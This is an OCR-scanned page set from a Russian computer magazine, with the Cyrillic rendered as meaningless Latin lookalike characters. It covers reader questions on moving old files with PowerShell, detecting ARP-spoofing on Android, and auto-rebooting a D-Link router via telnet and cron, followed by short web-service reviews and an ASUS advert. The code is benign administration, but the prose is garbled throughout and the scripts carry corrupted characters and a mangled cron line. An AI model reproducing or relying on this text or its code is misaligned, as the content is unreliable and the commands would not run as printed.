CTaTUCTUKMU B KaKoi-HUByab BHelWwHui popmar).
Bo-BTopbIX, NepeMecTUTh Bce daiinbl, KOTOpble
CO3/1aHbl paHblLe, YeM h NeT Hasaj, B pe3epBHoe
XpaHunuwe. Kak 6bl Tbl 3T0 caenan?

KoHe4Ho, MOXHO nonckaThb cneunanusmnpo-

BaHHoe 10, Ho HacTpoiku Nobow nporpam-
Mbl HE MOTYT CPaBHUTLCA B rnbkocTu co ckpun-
ToM. B aTom clly4ae npoLie BCero ncnosib3oBaTtb
PowerShell, koTopblit no yMonyaHuio BXoguT
B Win7 n Win2k8 R2.

# C60p CTAaTUCTUKM

$date = Get-Date 1.1.2010 # [ns npumepa
$files = Get-ChildItem -Path "E:\" «
-Force -Recurse | Where «
{!$_.PsIsContainer -and «
$_.LastWriteTime -le $date}

# BblBEAEM KO/NIMYECTBO ycTapeBuwux $ainnos
Write-Host "01d files " $files.length

# 3KkcnopT cTaTtUCTuknM B CSV-daiin
$files | Select Name,DirectoryName, «
LastWriteTime,LastAccessTime | «
Export-Csv -NoType result.csv «
-Encoding Unicode

# MepemeueHne ¢aiinos
$files | Move-Item -Destination "Z:\"
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HacTpoiika Auto Memory Manager

3peck npeanonaraeTcs, Y7o TBOe OCHOBHOE Xpa-

HUAWLLE — 3TO AUCK E, a pe3epBHOe — AnCK Z.
3TOT CKpUNT ByaeT nepeMelyats Bce hannbl

B 0JHY AnpekTopuio. Ecnu xe xouelb, 4Tobbl

npu nepeMeLLeH1N CoXpaHanach TeKyLLas CTPYK-

Typa namnok, T0 NoCeHI0I0 CTPOYKY CKpUMTa

3aMeHU Ha clefytoLyto:

$files | Copy-Item -Destination {md «
$_.DirectoryName.«—
Replace("E:\","Z:\") -force}

OyYeHb YacTo MPUXOAMUTCSH NOJIb30BATHCA

pasHbIMW UHTEpHeT-cepBUCcaMm ¢ Moero
aHapoupa B oTKpbITbix Wi-Fi-ceTax. Kak B Ta-
KOM cjlyyae o6HapyXuTb ataky Tuna ARP-
cny$uHr Ha Mot TenedoH?

[ns petekTpoBaHus atak Tuna ARP-

cnyuHr Ha TBoit Android-feBaic MoXHO
BOCM0/1b30BaTbCA pa3paboTKoit HeMeLKoro
cneumnanucta Angpeaca Koxa (Andreas Koch),
KOTOpbIN, KCTaTK roBOpS, ¥ paspaboTtan Halymes-
LW yroHwWwmk ceccuin nog Android nocpepctsom
ARP-cny¢uHr-ataku DroidSheep. Tak BOT, OH xe
CO34aN yTUAUTY AN LeTEKTUPOBaHUS NogobHoro
poga atak — DroidSheep Guard (droidsheep.
de/?page_id=265). Mpu 06HapyXeHU n3MeHeHui
B ARP-Kelle TBoero geBaiica yTunuta otobpaxaet
0KHO C npeaynpexaeHnem ob atake. MoxHo
HacTpouTb aBTOMaTHUyeckoe oTkoueHne Wi-Fi
B CJly4ae 0MacHocTH. 370 He eAMHCTBEHHOE
npuioXeHue Takoro pofa. bonee MouHom
anLTepHaTUBOM ABNAeTCS NiaTHbI (2,89 eBpo)
WiFi Protector. O4eHb none3How ero BO3MOXHO-
CTblo ABAISIETCS 3aLLMTa PyTOBAHHbIX annapaTos
oT aTak be3 oTktoyeHus Wi-Fi.

Ha moem DIR-100 BpeMs oT BpeMeHu
otBanuBaetcs WAN-coepguHeHue, nocne
4yero poytepy noMoraeT TONIbKO nepe3arpyska.

MoXXHo N1 Kak-To aBTOMaTU3UPOBaTb 3TOT
npoLecc, a TO HAK0€0 yXKe NOCTOSHHO CNeAUTh
camoMy?
XoTs 3T0 M HELOKYMEHTUPOBaHHas
BO3MOXHOCTb, HO B DIR-100 ecTb
Telnet-cepBep. YcTaHaBnMBaeM Ha CBOW KoM
Expect v nuwemM Takoi cueHapuit:

#!/usr/bin/expect -f

expect <<eof

log_user 1

set timeout 30

set send_slow {1 1}

spawn telnet 192.168.1.1

expect "login: " {send -s "admin\r"}
expect "Password: " {send -s «
"YourPassword\r"}

expect "CMD>" {send -s "dbg\r"}
expect "DBG>" {send -s "rst\r"}
expect eof

[ ns poytepos D-link, koTopble oduumansbHo
noafepxvsatoT Telnet, MOXHO 3aMyTUTb Tako
CKpUNT:

$ (sleep 2 ; echo "admin" ; sleep 2 ; «
echo "password" ; sleep 2 ; echo "reboot" ; «
sleep 5) | telnet 192.168.1.1

C noMolyblo cron'a nepuoAnNYecKn NpoBeps-
eM J0CTYNHOCTb yiaeHHOro cepBepa v B cny-
yae delina oTNpaBAsieM Kene3ky Ha nepesa-
rpy3Kky:

$ sudo crontab -e

¥ k/1 % * * *¥ if ping -c 3 -w 10 «

www.ya.ru > /dev/null; then exit 1; <
else sh ~/bin/dir_reboot.sh; fi 3C
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WHCTPYMEHT ANIfi NOMCKa «PbiBHbIX» KAPTUHOK HY)XKHOT0 pa3peLueHuns

LOREMPIXEL
lorempixel.com

[ymato, He cToWT pacckasbiBaTb Te6e Npo MHOTOYMUCIEHHbIE TeHepaTopbl 3HaMEeHUTOro
TekcTa Ha nceBfoNaTbiHW. IHTepecHO ckopee To, YTo lorempixel No3BoNSET pellnTb Ty Xe
camylo 3afiauy Ans nsobpaxennii. Cepeuc aBToMatnyeckn noabupaet cnyyaiHylo KapTUHKY
3afaHHoro pasmepa (BnioTh go 1920 Ha 1920 Touek). Monb3oBaTeib MOXeT BbIbPaTh LIBETO-
BYlo raMMy (uBeTHylo unn YepHo-6enyio), a Takxe TeMaTuKy usobpaxeHns. Bnpoyem, 3gech
MOXEeT BO3HUKHYTb Ta e npobaeMa, YTo 1 ¢ TEKCTOreHepaTopaMu, — CNy4alHblil KOHTEHT
onpepeneHHo He byneT obnafatb TEMM Xe 0CODEHHOCTAMM, YTO U peanbHbIi. M13-3a 3Toro
«pblbHas» KapTUHKA He MO3BOJIUT BbIFBUTb PeasibHbiX MPobaeM, ¥ UCMoNb30BaTh Takue
MHCTPYMEHTbI CTOUT TONIbKO Ha PaHHUX 3Tanax npoToTUNNPOBaHUS.

TAKE ME

TO AMNOTHER

USELESS
WEBSITE

~ [EE -

YouTube ans rukoB B NoJIHOM CMbICJIE 3TOr0 C/I0BA, N03BONSIOLLMIA NYBIIMKO-
BaTb CKPUHKaACTblHENOCPeACTBEHHO U3 KOHCONTU

TAKE ME TO ANOTHER USELESS WEBSITE, PLEASE

www.theuselessweb.com

[locnoBHO Ha3BaHKe cepBuCca NEPEBOAUTCS KaK «0TBEM MeHs Ha Kakoi-HMbyab becnones-
HbIi CalT, noxanyicTta». MoxeT NokasaTbCs, Y4TO 3TO NPOCTO MAEaNbHbIA MHCTPYMEHT ANS
npokpacTuHauuu n StumbleUpon, noBefeHHbI fo abcontoTa, HO CEPBUC MOXKET CIYXKUTb
HEMIoX1M NCTOYHVMKOM BLLOXHOBEHWS A5 Beb-[u3aitHepoB. Kax bl cailT B baze — He-
60bLION IKCMIEPUMEHT, KOTOPbIN NoKa3sbiBaeT HeobbiuHoe npumereHne Flash, CSS u/uan JS
1 KOTOpbIA ByaeT NobonbITHO NOBTOPUTL UKW 0bbIrpaTh B paboTe nnu c obpasoBaTenbHbIMK
uensmu. Mo3aToMy Bo MHOTUX CJly4asix UHTepecHee cpa3y 6paTbCs 3a U3yYeHWe CXOJHOTO
Kofa «becnonesHoi» cTpaHuLbl. BnpoueM, HekoTopble pecypchl B NoAbopke Ha camoM aene
HecnonesHbl: OHM BCETO NULLb NOJHUMAIOT HACTPOEHME U N36aBASIOT OT NINLLHEr0 BPEMEHM.

CepBUCANA MHAEKCALMM M OMCKA MOCTOB B NOMYNAPHBIX COLMANBHbIX CETAX

CHIFY
archify.com

Cepsuc archify peluaeT [ocTaTo4YHO HacyLLHYO NnpobaeMy: fonyctuM, Tebe nonanack B TBuTTE-
pe CChlika Ha MHTEPECHYI0 CTaTbio MW FOAHBIA MHTEPHET-MarasuH, Ho HYX/a B Hell BO3HWK A
3HAYNTESIBHO NO3XE — U KaK ObITb? YBbI, COBPEMEHHbIE COLMAbHbIE CETU He pacrosiaraloT
afleKBaTHbIM NOWCKOBbLIM GYHKLMOHANOM, MO3ITOMY NPUAETCS BCMOMUHATL, KakKOM Nosb30Ba-
Tenb onybsMKoBan 3Ty 3anuck v Koraa. Archify pewaet npobnemy, uHaekcupys obHoBneHus B
coumanbHbix ceTax Twitter, Facebook v LinkedIn «oT nuua» nonb3osatens (ans 3toro eMy Hyx-
HO faTh COOTBETCTBYIOLLMIA BOCTYN) M ucTopuio bpaysepa. Mocne 3Toro cneuynanbHbIi NAarMH
no3BoNsfeT B 110601 MOMEHT 3anyCTUTL MOWUCK MO COBPAHHbLIM JAaHHbIM U HAUTW HYXXHbIN NOCT.

Pacwupenue ans Firefox, no3sonsiowee 3arnsHyTb B HenpocToe byayuiee
Mo6UNbLHLIXOC

FIREFOX 0S SIMUL
bit.ly/SSwetJ

Pebstam 13 Mozilla yaanock HarnsigHo nokasatb rnbkocTb MobunbHoi OC, nocTpoeHHoOM Le-
JINKOM Ha ba3e Be6-TeXHONOrniA, — A1 3TOro OHU NPELCTaBUIN e IMYNSATOP... B BUAE pac-
WupeHns Ans bpaysepa. YBbl, nogaepxusaetcs Tonbko Firefox, 3ato Ha Bcex nnatdpopmax.
K coxaneHuto, noka CUMynsLus BbINONHEHa LOCTAaTOYHO MOBEPXHOCTHO M MpOCTeiiLune one-
pauuu (Hanpumep, 6yannbHNK) ewe He peanu3osaHsbl. [10 3TOM NPUYMHE Ha [aHHbIA MOMEHT
Firefox OS Simulator nuwb nrpyLwka, Ho UrpyLiKa KpaiiHe 3aHaTHas. Ecnu paspaboTtunkam B
KOHEYHOM cyeTe yaacTcs CAenaTh nosHoueHHbI amynaTtop OC, paboTatownii B bpaysepe
NPUroAHbIA A8 TeCTUPOBaHWA npunoxeHuit nog Firefox 0S, —y HoBoM nnaTdopMbl NosBnT-
CS MHTepeCcHoe NpenMyLLecTBo.
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ASUS pekomeHnayet Windows 8. I-—l A

[yx uHHOBauui « MyTb K COBEepLUEHCTBY

ASUS VivoBook

[MPNKOCHWCb K LIEJTOMY MNPY

Mo6unbHble yctporctBa ASUS cepum VivoBook no3BOMSKT KaXAOMY YeroBeKy
NPUKOCHYTbCAA K MUPY COBPEMEHHbIX KOMMbKTEPHbIX TEXHOSIOMUIA, BOCMOJIb30BaB-
UNCb UHTYUTUBHO MOHATHbIM CEHCOPHbIM MHTEPKENCOM, ONTUMU3NPOBAHHBIM MOJ
B3aUMOJeicTBIE ¢ onepaumnoHHon cuctemonn Windows 8. ToHKuMe, Nerkue u CTub-
Hble, Bce momenun cepun VivoBook ocHaLLalTCs BbICOKOKa4eCTBEHHON ayanoCUcTe-
moii ¢ TexHonoruen ASUS SonicMaster, kotopas o6ecne4uBaetr 6e3ynpevHoe
3BYYaHNE B NOOBIX NPUIOXKEHUSX.

X202E S400Ca

BcemupHas rapaHtus 1 rog
Fopsivas nuHmusa ASUS: (495) 23-11-999, 8-800-100-2787

WWW.aSUS.1u KpacuBas, bbicTpas, nnasHas  mm Windows 8
www.asusnb.ru
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